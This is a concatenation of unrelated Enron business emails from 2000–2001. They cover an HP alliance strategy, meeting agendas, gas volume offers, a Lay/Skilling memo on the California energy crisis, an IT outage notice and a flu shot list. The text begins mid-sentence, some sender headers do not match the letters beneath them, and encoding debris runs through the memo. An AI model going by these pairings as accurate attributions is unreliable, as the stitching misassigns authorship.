partners was e-mailed to you this morning.

HP contacts to date: 

Bill Lovejoy, Western Gulf Area Sales Manager
Houston, TX
#(713)-439-5587
(Gerry Cashiola's boss)

Gerry Cashiola, sales representative 
#(713)-439-5555
(To date, HP person coordinating the relationship--seeking a short term play)

Greg Pyle, Solution Control Manager
Southeast Region
Austin, TX 
(#(512)-257-5735
(Pyle has been playing the business developer role but continues to defer 
leadership of the process to Gerry Cashiola)

Daniel Morgridge, Manager of Internet - E-Services long term alliances
Austin, TX
#(512)-257-5736
(Interested in E-services/wireless longer term alliances)

Bill Dwyer, Chief Architect, e-Services Solutions
Cupertino, CA
#(408)-447-5240
(To date, clearly the most knowledgeable person on HP's business 
propositions; strong technical, financial background to craft value 
propositions.  Gerry Cashiola and Greg Pyle deferred to his judgement in the 
11/16th meeting)

Matt,
 
On November 10th, GSS Business Development took HP through a tour of Enron's 
trading floor, the gas control center, and the peaking power plant unit 
center on the trading floor.  This tour was one meeting, amongst several, 
held in October and November to provide HP a full overview of Enron's 
products and services and introduce them to appropriate contacts at Enron 
(EBS, GSS buy side -- Peter Goebel).

On November 16th GSS Business Development,  Patrick Tucker, and Dale Clark 
outlined 3 possible EBS/HP focus areas  --  connectivity, storage, and 
wireless.  Three EBS action items were defined in that meeting:

1) HP was to provide an HP contact on connectivity (to date, Gerry Cashiola 
has stalled on providing this).  Sarah-Joy will continue to pursue this 
information and get a sense from Gerry Cashiola of what he means by short 
term opportunity.  What is HP's time horizon for short term?

2) EBS and GSS/BD was to facilitate a conference call on Storage with Ravi to 
explore size and potential scope of opportunity (completed 12/8)

3) GSS/BD was to facilitate a conference call with Peter Goebel, GSS IT 
Sourcing Portfolio Leader (set for 12/14)   

In conversations with you, Jennifer Medcalf and myself this morning, several 
decisions on forward-looking strategy with HP/EBS were confirmed:

Gerry Cashiola has been unable to take control of the process.  More 
importantly, despite numerous visits to Enron in which he has had overviews 
of Enron's products and services; met with Peter Goebel and his team on the 
GSS buy side, and participated in an Experience Enron tour, Gerry has been 
unable to define an HP business proposition.  The coordination between 
Cashiola (short term initiative) Morgridge (long term, 12-24 months) has 
remained unorganized.  These initiatives need to be developed separately.

Clearly,  the conversations with HP need to be elevated to a more senior 
level so EBS can work with HP decision makers who can move the relationship 
forward at a strategic level.  As the relationship is developed at this 
strategic level, shorter term opportunities will crop up along the way.  But 
Gerry's short term plans will not be the focus of the EBS/HP relationship, 
rather a by-product.  To facilitate this process of elevating the 
relationship, Jennifer Medcalf and I are following up with Bill Lovejoy and 
Greg Pyle.  Lovejoy's boss is Dan Sytsma, VP of  HP's America's Central 
Region.

 In the conference call Thursday, 12/14 with Peter Goebel and HP regarding 
wireless initiatives, Peter will support the GSS/BD push for the HP/EBS 
initiative by reiterating the following two points:  

 a) Enron is already an HP customer; the onus is on HP  to move forward on 
the process of building a strategic  relationship  (IBM and Lexmark are only 
some of the HP competitors who could push them out of the running)

 b) HP's ability to bring the right people to the table will influence HP's 
business relationship process with Enron

 Patrick Tucker and Dale Clark could build their relationship with Bill 
Dwyer, Chief Architect e-Services Solutions, (met at the meeting 11/16) in 
the near term.  Perhaps, plan a visit to Cupertino, California to see Dwyer 
in person.  

We look forward to continuing close collaboration with your team on this and 
other opportunities. 

Sarah-Joy Hunter
Global Strategic Sourcing - Business Development
#(713)-345-6541

I will be there!  --Sally 

	From:  Ted C Bland                           08/17/2000 07:48 AM
	
To: David Oxley/HOU/ECT@ECT, Sally Beck/HOU/ECT@ECT, Raymond 
Bowen/HOU/ECT@ECT, Christopher F Calger/PDX/ECT@ECT, Tim Belden/HOU/ECT@ECT, 
Max Yzaguirre/NA/Enron@ENRON, Rob Milnthorp/CAL/ECT@ECT, Janet R 
Dietrich/HOU/ECT@ECT, George McCormick/HOU/ECT@ECT, Jeff Donahue/HOU/ECT@ECT, 
Heather Kendall/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT, Elsa 
Piekielniak/Corp/Enron@Enron, Jesus Melendrez/Corp/Enron@Enron, Rodney 
Malcolm/HOU/ECT@ECT, Kevin McGowan/Corp/Enron@ENRON, Jere C 
Overdyke/HOU/ECT@ECT, Edward D Baughman/HOU/ECT@ECT, Tom Shelton/HOU/ECT@ECT, 
Jean Mrha/NA/Enron@Enron, Bryan Burnett/HOU/ECT@ECT, Vince J 
Kaminski/HOU/ECT@ECT, Mike McConnell/HOU/ECT@ECT
cc: Mark Frevert/NA/Enron@Enron, David W Delainey/HOU/ECT@ECT, John J 
Lavorato/Corp/Enron@Enron, Tim O'Rourke/Corp/Enron@Enron 
Subject: Initial meeting of the ENA Analyst and Associate Roundtable August 
18, 2000

Just a reminder we will have the initial meeting of the ENA/ AA Roundtable on 
Friday at 9:00am in room EB30C1.  Again, the agenda is as follows:

Discussion of PRC
Immediate and future AA needs by business unit
Skill shortages
Campus and off-cycle recruitment
Mottom 10% management
Projecting AA needs from core schools for Summer 2001 intake
Existing talent in specialist roles who should be in AA Program
Ideas/suggestions on how we improve the Program/ENA retention

Your groups need to be represented and if you can't attend please send 
someone to represent you.  Those of you out of town need to call me if you 
have any input.    Thanks again for all your support.  Ted

Hello, Everyone - 
 
This confirms the RTO West Regional Representatives Group meeting for this Friday, November 30, 2001, at the Kingstad Conference Center first floor meeting room (this is the same place we met for the last RRG meeting).   The meeting will begin at 8:30 a.m. PST and end by 12:30 p.m.
 
The address of the Kingstad Center is 5933 NE Win Sivers Drive, located about three miles directly east of the Portland airport.  Go about three miles east of Airport Way and take a right on Win Sivers Drive and right again at the second driveway.  Parking will be available in Kingstad marked spaces as well as overflow parking in the Leatherman's lot across the street.  If you have any questions about the logistics for the meeting, please call Judy Welch at (503) 262-9421.
 
The working agenda is:
 
1) Seek consensus on Planning Compromise Proposal (will be posted by Thursday afternoon)
 
2) Project Management Plan and Timelines for March 1 Filing
 
3) Benefit Cost Study Update
 
4) Seams Report
    a. Status Report on December 1 Filing to FERC
    b. Nov. 16 Market Monitoring Work Shop and SSG-WI Market Monitoring W.G.
 
5) Market Monitoring Report
 
Chris Elliott for
Bud Krogh
 
---------------------- Forwarded by Maureen McVicker/HOU/EES on 08/16/2000 
03:16 PM ---------------------------

Paul Kaufman@ECT
08/15/2000 06:26 PM
Sent by: Lysa Akin@ECT
To: Mitchell Taylor/Corp/Enron@ENRON, kfullenweider@velaw.com, Richard 
cc: Christopher F Calger/PDX/ECT@ECT, Tim Belden/HOU/ECT@ECT, Jake 
Thomas/HOU/ECT@ECT, Frank W Vickers/HOU/ECT@ECT, Jim Gilbert/PDX/ECT@ECT 
Subject: Issues for Sierra

Jeff,

Following on from our brief discussion during your last visit to London, I 
just wanted to give you a heads-up on where we are with the Du Pont/ETOL 
steam/power deal given the discussions you and Harold had with them earlier 
in the year.  Based on prior experience in getting to closure with Du Pont, 
there is a chance that someone senior from Du Pont will put in a call to you 
or maybe Lou/Tom to express disappointment on progress and encourage Enron 
concessions, resulting in premature deal closure for us.

ETOL has tabled a blend-and-extend deal to Du Pont, in which they have shown 
interest to get to closure.  However, they just want to transact on the major 
value items for themselves now and then deal with other Enron value items 
next year in good faith.  We have indicated that we will commit Enron 
resource to get the whole deal done as soon as possible, specifying a Jan 01 
start, and will not allow cherry picking.

Whilst the overall impact to ETOL is PV neutral, the deal does substantially 
reduce long term volume risk on what is already a deep in the money deal for 
us.  The motivation for DuPont is that the deal results in immediate annual 
savings, around $3m in 2001, which fits with their corporate goal to deliver 
energy savings.

If you are called by Du Pont and need more info let me know.  We want the 
whole package from them.

Matthew

Please if not too late,  send the attached draft, and disregard previous 
draft ,as I have made a small revision.  

we sold this gas for these volumes to ees for index +0.16.  
---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 05/08/2001 

Kristann Shireman@EES
05/08/2001 10:12 AM
To: Matthew Lenhart/HOU/ECT@ECT
cc: Joseph Des Champs/HOU/EES@EES 

Subject: Purchase Malin and Socal Topock

---------------------- Forwarded by Kristann Shireman/HOU/EES on 05/08/2001 

Kristann Shireman
05/08/2001 08:48 AM
To: Frank Ermis/HOU/ECT@ECT, Keith Holst/HOU/ECT@ect
cc:  

Please provide me with your Physical offer for the following volumes:
The volumes are in monthly volumes.
Thanks
Kris Shireman

MALIN

06/2001:  44,997
07/2001:  41,838
08/2001:   46,070
09/2001:    39,859
10/2001:    37,283
11/2001:    28,038
12/2001:    31,431
01/2002:    23,643
02/2002:    21,228
03/2002:     10,546
04/2002:     15,851
05/2002:     23,528
06/2002:     33,978
07/2002:     32,611
08/2002;     34,332
09/2002:     30,093
10/2002:     28,214
11/2002:     23,518
12/2002:     23,030
01/2003:     17,963
02/2003:     17,820
03/2003:      16,651
04/2003:      15,640
05/2003:      23,212
06/2003:      33,520
07/2003:      32,117
08/2003:      33,878
09/2003:      29,681
10/2003:      27,869
11/2003:      23,155
12/2003:      22,721
01/2004:      17,721
02/2004:      16,973
03/2004:      16,430
04/2004:      15,419
05/2004:       22,896
06/2004:      33,057 
07/2004:      31,628
08/2004:      33,431
09/2004:      29,273
10/2004:      27,491
11/2004:      22,843
12/2004;      22,423
01/2005:      17,482
02/2005;      16,748
03/2005:      16,211
04/2005:      15,200
05/2005:      22,585
06/2005:      32,600

Susan Edelstein
Cary, NC 27511
edelste2@niehs.nih.gov

I'm writing to urge you to donate the millions of dollars you
made from selling Enron stock before the company declared
bankruptcy to funds, such as Enron Employee Transition Fund and
REACH, that benefit the company's employees, who lost their
retirement savings, and provide relief to low-income consumers
in California, who can't afford to pay their energy bills.
Enron and you made millions out of the pocketbooks of California
consumers and from the efforts of your employees.

Indeed, while you netted well over a $100 million, many of
Enron's employees were financially devastated when the company
declared bankruptcy and their retirement plans were wiped out.
And Enron made an astronomical profit during the California
energy crisis last year.  As a result, there are thousands of
consumers who are unable to pay their basic energy bills and the
largest utility in the state is bankrupt.

The New York Times reported that you sold $101 million worth of
Enron stock while aggressively urging the company's employees to
keep buying it.  Please donate this money to the funds set up to
help repair the lives of those Americans hurt by Enron's
underhanded dealings.

Lynn Burke with the CDC's needs to release some CGAS and CGLF capacity to 
CES/New Power for August 2000-July 2001.  She wants to know who she should 
release the capacity to for August.  ????

I received word back from 4 of the 5 parties in response to my earlier notes 
(both voice mails and e-mails) on:
rehearing process and compliance filing
agenda for the 29th
native load
participation and valuation

Here is the download --

Rehearing Process and Compliance Filing -- They recognized that there were 
differences; however, they felt that the rehearing process and JV 
formation/process provided avenues to make the needed changes.  The major 
changes in the compliance filing were removal of approval rights, such as 1) 
acquisition or encumbrance of a transmission asset and 2) sale or issuance of 
membership interests.  Craig Baker indicated he would send a copy of the 
compliance filing tomorrow.  He also indicated that they planned to file by 
late today or tomorrow.

Agenda for the 29th -- The agenda seems to be in place; however, they did 
indicate that they would only be able to address the wires to wires synergy 
discussion in part.  They indicated that they would be able to address the 
areas where savings or additional revenue would be generated but may not be 
in a position to specify the financial impact (i.e., ebitda and market value 
impact).  They also indicated that Andersen has all of the individual Company 
numbers but not sure when the consolidated top financials will be available.  
Craig Baker committed to provide an update by tomorrow morning.  I have a 
call into Larry Oliva from Andersen as well.  

Native Load -- The difference between our respective positions (per Craig 
Baker) supports my earlier description.  Craig indicated that the Native Load 
and Wholesale Network Customers are advantaged (as compared to the Firm 
Point-to-Point Wholesale Customer) as a result of the filed Network 
Agreement.  This allows the Network Customers to increase capacity as load 
grows (potentially usurping the rollover right of a Firm Point-to-Point 
Wholesale Customer).  The Alliance feels this will be a point of contention 
between the State PUC's and FERC, and, they did not want to be placed in the 
middle. 

Participation and Valuation --  
AEP -- Craig Baker indicated that Henry Fayne will be there
1st -- Stan Szwed indicated he is confirming their CFO's attendance.  He will 
get back with me by Monday.
Detroit Edison -- Joe Welch is confirming the attendance of their lead M&A 
representative and will get back with me by Monday (He also applauds our 
attempts to move this forward)
Consumers -- Chuck Waits is discussing the resource issue with Chris Helms 
(President and COO) .    He also committed to get back with me by Monday.
Virginia Power -- no word

Please call Randy or me if you have any questions.  Thanks, Ron.

Attached please find this months summary of the  most recent DOE Natural Gas production data and Baker-Hughes Rig  Counts.
 
Thanks,
Mark
 - Sep DOE Nat Gas production.doc 

Start Date: 1/15/02; HourAhead hour: 7;  HourAhead schedule download failed. Manual intervention required.

I promise to be a perfect gentleman (or as perfect as an Aggie can be).

Clayton Vernon@ENRON
02/17/2000 11:23 AM
cc:  
Subject: Re: Natasha-  

now, now, now-

you're a 38 year-old man, and you're talking about serious issues- marriage 
and a family. hey, i'm the biggest kid you'll ever meet, but we're talking 
about my wife's best friend here, so pretend like she's my sister or 
something.

claybus

Comments?

---------------------- Forwarded by Eric Thode/Corp/Enron on 08/22/2000 04:55 

Eric Thode
08/22/2000 04:52 PM
To: Mark Palmer/Corp/Enron@ENRON, Steven J Kean/HOU/EES@EES, Aleck 
Dadson/TOR/ECT@ECT, Robert Hemstock/CAL/ECT@ECT, Richard B 
Sanders/HOU/ECT@ECT, Richard Shapiro/HOU/EES@EES
cc:  

Subject: Project Stanley Q&As

I haven't heard from anyone yet on the Q&A document related to Project 
Stanley.  Any thoughts or comments on the attached?

---------------------- Forwarded by Eric Thode/Corp/Enron on 08/22/2000 04:53 

Eric Thode
08/11/2000 04:31 PM
cc:  

Attached are the 58 questions prepared by GPC in anticipation of a public 
release on Project Stanley.  The answers have been compiled by numerous 
individuals, including Aleck, Rob, Kevin Wellenius and me.  Please review, 
make changes and return to me at your earliest convenience.  I will compile 
everyone's corrections, additions, etc. and prepare a revised document.  
Thanks.

If you have any questions, call me at ext. 3-9053.

Eric

Kathy,

I believe Ben needs to initial the change order, and he's on vacation this 
week.

Kay

To: Mike Miller/NA/Enron@Enron
cc: Kay Mann/Corp/Enron@ENRON, David Marshall/HOU/ECT@ECT 

Subject: Change Order #2 to LM6000 Purchase Agreement

Mike,

Attached for your review and signature is Change Order No. 2 to the LM6000 
Purchase Agreement.  I am forwarding it to Kay and David for their approval 
for you.

Regards.
Kathy Clark
x56400

F O R

December 08, 2000 5:00pm through December 11, 2000 12:00am
    
EI:   SEE ORIGINAL REPORT

MESSAGING:   SEE ORIGINAL REPORT

OTHER SYSTEMS: HR   SEE ORIGINAL REPORT

OTHER SYSTEMS: UNIX     SEE ORIGINAL REPORT

OTHER SYSTEMS: REMEDY
Time:  Fri 12/8/2000 at  5:00:00 PM CT thru Fri 12/8/2000 at  5:15:00 PM CT
 Fri 12/8/2000 at  3:00:00 PM PT thru Fri 12/8/2000 at  3:15:00 PM PT 
 Fri 12/8/2000 at  11:00:00 PM London thru Fri 12/8/2000 at  11:15:00 PM 
London
Outage:  RmailSniffer
Purpose: Review of Mail logs has shown that between 7:00 p.m. and 9:00 p.m. 
50% of mail messages fail.  The update will copy failed messages to another 
directory for an admin to process.
Backout: Reset RmailSniffer service to original settings.
Contact(s):  Carlos Perez    713-345-708
  Christian Smerz   713-345-7410   
  
TELEPHONY:   SEE ORIGINAL REPORT
    
FOR ASSISTANCE

(713) 853-5536   Information Risk Management

Specific Applications Help:

Attached are several documents which capture our positions in reaction to 
power and gas pricing, particularly in California.  Included are a detailed 
set of solutions to California's power market woes, which we have provided in 
California and at FERC; a representative speech, and a talking point summary 
designed for more general audiences and the media.  The gas paper was 
prepared in September and needs updating, but I have included it as well.  I 
will get a more integrated message put together and circulated.

Please plan on adjusting your PL for the following amount during the month of 
November...

Frank

Chip have you had a chance to work with Greg Ford on ADS? Any ideas on the new ADS phase II? 

Thanks,
Bill

From: Dunton, Heather 
Sent: Wednesday, October 03, 2001 1:12 PM
Cc: Gilbert, Scotty
Subject: FW: Latest Schedule for ADS Phase II

Is anyone working on this - or staying up to date on ADS?

From: Ford, Greg [mailto:GFord@caiso.com]
Sent: Wednesday, October 03, 2001 12:36 PM
To: ADS-Project II; TSWG
Cc: Rahman, Brian; Lassiter, Mark
Subject: Latest Schedule for ADS Phase II

The following is the latest schedule for ADS phase II items.  We will be
splitting the release into two parts.

Release 1 -- OOS/OOM/RMR dispatch:
Market Sim: 11/12 - 11/16
Meeting to review dispatched calculated energy: 11/27
Release to Market: 12/11

Release 2 -- Other phase II items:
No market sim proposed
Release to Market: 1/16/02

More details and clarifications regarding OOS/OOM and the remainder of ADS
phase II will be forthcoming.

Greg Ford
Market Operations
(916) 351-2344
gford@caiso.com

Julia B. Wright
Smith, Kempton & Watts
980 Ninth Street, Suite 1560
Sacramento, CA 95814
(916)446-5508
(916)446-1499 Fax
jwright@s-k-w.com

D.J. Smith
President
djsmith@s-k-w.com

From: Lenny Goldberg [mailto:lga@mother.com]
Sent: Monday, June 25, 2001 12:26 PM
To: dhunter@s-k-w.com; 'Evelyn Kahl'; 'Keith McCrea'; 'Mike Kahl'; 'Jeff
Dasovich (E-mail)'; 'Bill Booth'; 'Dorothy Rothrock'; 'Ann Cohn'; 'Jan
Smutny-Jones'; 'John Fielder (E-mail)'; 'Barbara Barkovich'; 'Dominic
DiMare'; 'Phil Isenberg'; 'Jack Stewart'; 'Karen Terranova'; 'Marc D.
Joseph'; 'DJ Smith'; 'Art Carter'; 'Bill Dombrowski'; 'John Redding';
'Derek Naten'; 'John White'
Subject: Re: REMINDER!!! -- 2:00 meeting TODAY!!!

FYI:  I'm in committee and on conference calls, and Florio won't be here
either, as far as I can tell.  Lenny
From: Delaney Hunter <dhunter@s-k-w.com>
To: 'Evelyn Kahl' <ek@a-klaw.com>; 'Keith McCrea' <kmccrea@sablaw.com>;
'Mike Kahl' <mkahl@ka-pow.com>; 'Jeff Dasovich (E-mail)'
<jdasovic@enron.com>; 'Bill Booth' <wbooth@booth-law.com>; 'Dorothy
Rothrock' <drothrock@camfg.com>; 'Ann Cohn' <cohnap@sce.com>; 'Jan
Smutny-Jones' <smutny@iepa.com>; 'John Fielder (E-mail)' <fieldejr@sce.com>;
'Barbara Barkovich' <brbarkovich@earthlink.net>; 'Dominic DiMare'
<dominic.dimare@calchamber.com>; 'Phil Isenberg' <isenberg@hmot.com>; 'Jack
Folks-
We will be meeting at 10:00 am tomorrow at the usual location. Attached is
the most recent redline version of the document.

See you then

Thanks!

 - Draft Issues Outline 062001 (Redline 061901).doc

We agree

"Eileen Ponton" <kponton@duke-energy.com> on 05/02/2001 10:56:36 AM

cc:
Subject:  noms/actual vols for May 1st

nom       mcf       mmbtu
47,500         43,506         44,681

Nom:
9:00 to 14:00  30,000 (5 hours)
14:00 - 4:00   60,000 (10 hours)
4:00 to 9:00   40,000 (5hours)

Attached is the Weekly Deal  Report for 11/22/01.

Lex Carroll
Enron East Power Marketing, Inc.
Midwest Origination
713-853-5426

Happy reading!
---------------------- Forwarded by Kate Symes/PDX/ECT on 03/23/2001 08:47 =
AM=20
  =20
=09
=09
=09From:  Ken Lay and Jeff Skilling @ ENRON                           03/13=
/2001=20
02:17 PM
=09

Sent by: Ken Lay and Jeff Skilling@ENRON
cc: =20

Subject: California Energy Crisis

California=01,s power crisis has generated heated debate over the last seve=
ral=20
months.  Unfortunately, this debate has generated more heat than light.  We=
=20
want you to know what the facts are and what we are doing about the crisis.=
 =20
Please spend a few minutes reading the following overview on the situation=
=20
and our position on California energy issues.

What happened in California

The source of California=01,s current problem is as straightforward as supp=
ly=20
and demand.  California=01,s economy grew 29 percent since 1998.  This incr=
eased=20
the demand for electricity by 24 percent.  At the same time, regulatory=20
restrictions prevented new generation from getting built in the state.  So=
=20
demand grew but regulations prevented supplies from being added.  The resul=
t,=20
predictably, is a shortage.  This summer, peak capacity will be about 10=20
percent shy of peak demand, leading to further blackouts in the state.

In addition to the supply and demand imbalance, there are two other related=
=20
factors that led to the current crisis.  First, the state=01,s regulations=
=20
forced all sales and purchases into the spot market.  The spot market for=
=20
power is extraordinarily volatile.  The way firms behave in a free market=
=20
when faced with such volatility is to construct a portfolio of purchases lo=
ng=20
term, medium term and short term, to reduce exposure to this volatility.  I=
n=20
California, state regulation prevented this strategy.  This would be the=20
equivalent of putting the entire state on an adjustable rate mortgage in th=
e=20
most volatile interest rate environment imaginable.  Everything was fine=20
while the power surplus persisted, but when shortages ensued, every megawat=
t=20
was purchased at the sky rocketing spot price.

Second, retail markets were not deregulated.  Regulated retail rates remain=
ed=20
in effect, and stranded cost recovery charges were structured to keep=20
competition out.  This meant that utilities were forced to pay high wholesa=
le=20
prices in the spot market but were only able to recover costs at the=20
regulated retail rate.  They are now nearly bankrupt.

In short, California=01,s problems were caused by regulation, not deregulat=
ion. =20
Regulations prevented competitors from entering the market, prevented new=
=20
generation from being built, and prevented prudent hedging against volatile=
=20
spot prices.

At the time California was developing its restructuring plan, Enron warned=
=20
the state=01,s policy makers about these risks and proposed alternatives, w=
hich,=20
if adopted, would have averted the current crisis.

Enron=01,s Role

Many political leaders in the state have elected to fix blame rather than f=
ix=20
the problem.  Power sellers, including Enron, have been vilified by the=20
politicians and the media.  Here are the facts:

? Other than a small amount of wind power, Enron is not a generator in the=
=20
state of California.  Every megawatt we sold in California we bought in the=
=20
same market available to other California purchasers.  Because we are a=20
market maker, not a generator, we are not biased toward high prices.  We ar=
e=20
interested only in having a market that works so that we can package produc=
ts=20
for our customers.
? As a seller to end-use markets in the state, we provided protection from=
=20
the problems the states=01, utilities, and their customers, now face.  We=
=20
protected, and still protect, our customers from price volatility.

You may have read that EES recently elected to have the utilities supply=20
power directly to its customers in California instead of procuring power on=
=20
the open market.  Early reports mischaracterized this as a =01&turnback=018=
 of our=20
customers to the utilities.  Here are the facts:

? As a result of a variety of factors existing in the current California=20
market, it made more sense for EES to source power for its customers direct=
ly=20
from the utilities.  This decision reduced EES=01,s market price risk by=20
allowing EES to access lower utility rates.
? EES did not terminate any customer contracts, and our customers continue =
to=20
receive the financial benefits of their contract prices.
? EES is continuing to work with its California customers to provide them=
=20
with other energy-related products and services, including assistance in=20
reducing the demand for power, particularly at peak times.

Enron is currently proposing solutions to help California work out of its=
=20
crisis; Enron continues to sign up customers in the state; and Enron=20
continues to actively manage its risks and capture opportunities in Western=
=20
power markets.  Enron=01,s primary business is managing risk for our custom=
ers=20
with solutions customized to meet their needs.  There has never been more=
=20
demand for our products and services.

The Solution

The solution to California=01,s crisis is also straightforward.  In summary=
, the=20
state must increase supply, reduce demand, reduce reliance on the spot mark=
et=20
and shore up the financial stability of the state=01,s utilities.

Increasing Supply

California=01,s process for siting and permitting new generation is nothing=
=20
short of Byzantine.  Enron has built plants elsewhere in the country in les=
s=20
than a year.  In California, it often takes 5 to 7 years.  California simpl=
y=20
must streamline this process.  Ironically, while many of the regulations=20
generators must overcome are aimed at improving environmental quality, the=
=20
regulations are preventing new clean technology from coming online and=20
displacing current plants, which emit 40 times as much NOx.  California can=
=20
have abundant power and cleaner air by expediting the permitting of new=20
facilities.

Reducing Demand

Customers in California today have no incentive to reduce or shift demand. =
=20
They pay the same rate no matter what the market price is.  An open retail=
=20
market would trigger demand responses, which would balance supply and deman=
d=20
at lower prices than today.  California should fully open its retail market=
.

Reducing Reliance on the Spot Market

In a truly deregulated market, customers would protect themselves from=20
volatile spot prices by purchasing some of their requirements on a longer=
=20
term, fixed-price basis.  The state has instead left procurement in the han=
ds=20
of the utilities, which it has forced to buy exclusively in the spot market=
. =20
Opening the market at the retail level will give customers control over the=
ir=20
price risk.

Restoring the Financial Integrity of the State=01,s Institutions

The utilities in California are not paying their bills.  This has led to=20
greater uncertainty in the market, higher costs, and reduced flexibility to=
=20
arrive at lasting solutions.  California must permit its utilities to recov=
er=20
their costs so they can pay their bills and invest in the transmission and=
=20
distribution assets necessary to get power from where it is to where it is=
=20
needed.

Just as important as doing these things, the state must avoid policies that=
,=20
while politically attractive, do not fix the problem or even make matters=
=20
worse.  Price caps have been proposed.  They don=01,t work; have never work=
ed;=20
and they will not work here.  Price caps succeed only in creating shortages=
,=20
which then have to be allocated among competing users.  Imagine how=20
ineffectively the government would be in determining, for example, whether =
it=20
is better to make its limited power supplies available to the Imperial Vall=
ey=20
or Silicon Valley.  Price caps are a surefire way to make the current=20
shortage worse.

The state has also proposed to take over generation and transmission in=20
California.  There is no reason to believe, and every reason to doubt, that=
=20
the state will be more effective than free markets at investing in,=20
constructing, operating and maintaining assets.  This will also result in=
=20
California tax revenues being spent on power transmission and power=20
generation -- which the private sector can do -- instead of education, road=
s=20
and other public goods -- which the private sector cannot do.

As you are approached by people outside the company or are learning about t=
he=20
crisis from the media, it=01,s important for you to know this:  We at Enron=
 will=20
continue to serve our customers and we will continue to propose real=20
solutions to the state. 

Johnny lets set up an interview with this guy.  
Thanks!

From: 	Palmer, Johnny  
Sent:	Wednesday, June 27, 2001 1:44 PM
To:	Baughman Jr., Don; Hernandez, Juan; Will, Lloyd
Cc:	Melodick, Kim; Nolly, Qiana
Subject:	George Phillips  Resume  

Don/Juan/Lloyd:

George is interested in opportunities on the 24 hour desk.  Please advise of your interest.

Thanks,
Johnny

From: 	Phillips, George  
Sent:	Wednesday, June 27, 2001 11:25 AM
To:	Palmer, Johnny
Subject:	 

Johnny, 

Nice meeting you this morning.  Attached is my resume.  I appreciate any doors you may be able to open.  -George

 << File: Resume2001v2.doc >> 

No, we don't care.

From: Brownfeld, Gail 
Sent: Thursday, November 15, 2001 4:53 PM
To: Sanders, Richard B.
Subject: FW: Potential Conflict

Do we care about this?  I don't imagine we do but I thought I'd run it by you. Thanks. 

From: Clothier, Robert 
Sent: Thu 11/15/2001 11:17 AM 
To: Brownfeld, Gail 
Cc: 
Subject: 

Gail,

One of Dechert's transactional lawyers has been asked to represent Kaiser
Aluminum in a derivatives transaction in which Enron Metals is on the other
side.  We do not believe that this would impair in any way our ability to
represent Enron and its other subsidiaries in the York matter.  I wanted,
however, to bring it to your attention in case you have any concerns.
Please let me know that this is ok.  Thanks, and sorry to bring this up at
such a busy time for you.

Bob

Dechert
215-994-2714
215-994-2222 (fax)
robert.clothier@dechert.com

> The information contained in this e-mail message and any attachment(s)
> hereto is legally privileged and confidential information intended only
> for the use of the individual or entity named above. If you are not the
> intended recipient, you are hereby notified that you should not further
> disseminate, distribute or copy this message. In addition, if you have
> received this message in error, please notify us immediately by collect
> telephone call (215-994-2714). Thank you.
>
>

Sorry Deb - None of the people I know from South America  live in B.C.

nf

Dear Mr. Fujita:

Professor Kaminski will be delighted to have dinner with you and your
colleague Mr. Yamada.  I have put you on his calendar at 3:00 pm. with
dinner to follow in early evening.

Please let me know if you would like me to make dinner reservations
for you.

Administrative Coordinator
Enron Corp. Research Group
713/853-5290

Masayuki Fujita <mfujita@mri.co.jp> on 04/04/2000 11:07:19 AM
To: Shirley Crenshaw <Shirley.Crenshaw@enron.com>
cc:  
Subject: Re: Your visit with Vince Kaminski - Enron Corp. Research

Research Group
Enron Corp

Dear Ms. Crenshaw,

    I am very glad to see Professor Kaminski let me meet with him. I offer to
visit you around 3 p.m. on 17th Monday. I wonder if we can invite him for a
dinner that night because my colleague Mr. Yamada who also wishes to meet
with him will attend a Risk publication's seminar up to 5 p.m. on that day.
Please let Professor Kaminski  know we understand this offer may affect on
his private time and we do not insist on it. I am very much looking forward
to seeing him.

Masayuki Fujita
Principal Financial Engineer
Financial Technologies Section
Mitsubishi Research Institute, Inc.
3-6 Otemachi 2-chome, Chiyoda-ku
Tokyo 100-8141
Japan
Tel +81-3-3277-0582
Fax +81-3-3277-0521

Just a reminder that Flu Shots are taking place in the Mt. St. Helens conference room (behind Volume Management/Fundamental Analysis) this morning! 

If you are signed up, please be sure to stop by!

From: 	Ausenhus, Kara  
Sent:	Monday, November 12, 2001 9:58 AM
To:	DL-Portland World Trade Center
Subject:	FLU SHOT REMINDER FOR TOMORROW 8:30 A.M. - 10:30 A.M. 

FLU SHOT REMINDER
The ENA flu shots have not been canceled and will be held as scheduled.

When:  Tuesday, November 13, 2001
Time:  8:30 a.m. - 10:30 a.m.
Where: Mt. St. Helens room
Who: Enron employees, spouses and domestic partners

Please contact Kara Ausenhus at x7927 with any questions.

Thank you!

Flu Shot Sign Ups				
Last Name	First Name	Quantity		
Eriksson	Fredrik	1	8:30 - 9:00	
Shields	Jeff	2	8:30 - 9:00	
Yoder	Christian	2	8:30 - 9:00	
Belden	Tim	2	8:30 - 9:00	
Bruce	James	1	8:30 - 9:00	
Buerkle	Jim	1	8:30 - 9:00	
Calger 	Chris	1	8:30 - 9:00	
Chatterton	Jill	1	8:30 - 9:00	
Clark	Ed	2	8:30 - 9:00	
Davidson	Debra	1	8:30 - 9:00	
Driscoll	Michael	1	8:30 - 9:00	
Elafandi	Mo	2	8:30 - 9:00	
Alport	Kysa	1	8:30 - 9:00	
Fuller	Dave	1	8:30 - 9:00	
Guillaume	David	1	8:30 - 9:00	
Gilbert	Jim	2	9:00 - 9:30 	
Malowney	John	1	9:00 - 9:30 	
Hall	Steve	1	9:00 - 9:30 	
Hall	Erin	1	9:00 - 9:30 	
Heizenrader	Tim	1	9:00 - 9:30 	
Kane	Paul	1	9:00 - 9:30 	
Gustafson	Mollie	1	9:00 - 9:30 	
				
Meyer	Jim	1	9:00 - 9:30 	
Meyers	Bert	1	9:00 - 9:30 	
Miles	Darryl	2	9:00 - 9:30 	
Mumm	Chris	1	9:00 - 9:30 	
Nalluri	Susmitha	2	9:00 - 9:30 	
Nelson	Kourtney	1	9:00 - 9:30 	
Oh	Jeff	1	9:00 - 9:30 	
Rance	Susan	2	9:00 - 9:30 	
Platter	Phil	1	9:30 - 10:00	
Rasmussen	Dale	1	9:30 - 10:00	
Reyes	Jim	1	9:30 - 10:00	
Scholtes	Diana	2	9:30 - 10:00	
Williams III	Bill	1	9:30 - 10:00	
Sheppard	Kathryn	1	9:30 - 10:00	
Axford	Kathy	1	9:30 - 10:00	
Slaughter	Jeff	2	9:30 - 10:00	
Soderquist	Larry	1	9:30 - 10:00	
Steiner	Dave 	2	9:30 - 10:00	
Tully	Michael	2	9:30 - 10:00	
Badeer	Robert	1	9:30 - 10:00	
Van Houten	Maria	1	9:30 - 10:00	
